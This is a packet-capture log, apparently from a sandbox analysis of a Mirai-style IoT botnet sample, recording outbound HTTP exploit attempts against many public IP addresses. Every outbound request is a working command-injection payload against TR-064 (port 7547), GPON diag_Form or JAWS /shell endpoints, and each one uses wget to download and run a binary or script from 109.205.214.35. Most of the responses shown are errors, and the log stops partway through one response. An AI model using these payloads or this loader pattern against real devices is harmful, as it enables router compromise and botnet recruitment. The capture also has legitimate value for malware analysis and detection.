Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:30.116293907 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:17:30.297646999 CET	174	IN	HTTP/1.1 400 Bad Request Content-Length: 0 Date: Thu, 21 Mar 2024 04:17:46 GMT X-Frame-Options: sameorigin Content-Security-Policy: frame-ancestors 'self'

Session ID	Source IP	Source Port	Destination IP	Destination Port
508	192.168.2.23	46594	109.223.254.34	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:30.117584944 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
509	192.168.2.23	37768	210.124.168.84	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:30.117644072 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
510	192.168.2.23	55610	42.11.7.8	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:30.117707014 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
511	192.168.2.23	40146	109.130.57.129	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:30.117742062 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
512	192.168.2.23	38934	185.31.211.106	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:30.251976013 CET	259	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
513	192.168.2.23	47266	213.159.208.175	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:30.289952993 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:17:30.492655039 CET	181	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx/1.20.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
514	192.168.2.23	36530	76.239.143.86	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:30.590894938 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:17:31.014889956 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:17:31.175405979 CET	270	IN	HTTP/1.1 404 Not Found X-Content-type-Options: nosniff X-XSS-Protection: 1; mode=block CACHE-CONTROL: private, no-store, no-cache, must-revalidate Pragma: no-cache CONTENT-LENGTH: 0 SERVER: EPSON_Linux UPnP/1.0 Epson UPnP SDK/1.0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
515	192.168.2.23	46916	198.58.116.27	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:30.592354059 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:17:31.324924946 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:17:31.455235004 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 21 Mar 2024 04:17:31 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
516	192.168.2.23	43462	97.116.106.204	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:30.626796961 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:17:34.716351032 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
517	192.168.2.23	43824	185.120.84.108	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:30.653053999 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
518	192.168.2.23	36086	94.121.99.116	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:30.699917078 CET	313	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
519	192.168.2.23	42604	35.89.48.119	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:30.832735062 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:17:31.007469893 CET	339	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Mar 2024 04:17:30 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
520	192.168.2.23	41150	152.79.5.82	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:30.838923931 CET	313	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
521	192.168.2.23	40050	185.29.59.221	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:30.927231073 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:17:31.629475117 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:17:31.847579002 CET	333	IN	HTTP/1.1 400 Bad Request Server: Web server Date: Thu, 21 Mar 2024 04:17:27 GMT Content-Type: text/html Content-Length: 171 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 57 65 62 20 73 65 72 76 65 72 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>Web server</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
522	192.168.2.23	37748	118.237.248.27	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:31.065447092 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:17:35.228298903 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:17:35.509195089 CET	76	IN	HTTP/1.1 500 Internal Server Error Connection: Close Content-Length: 0
Mar 21, 2024 05:17:38.506877899 CET	76	IN	HTTP/1.1 500 Internal Server Error Connection: Close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
523	192.168.2.23	54886	3.26.182.82	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:31.173207045 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:17:31.484558105 CET	321	IN	HTTP/1.1 400 Bad Request Server: nginx/1.22.1 Date: Thu, 21 Mar 2024 04:17:31 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 32 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad 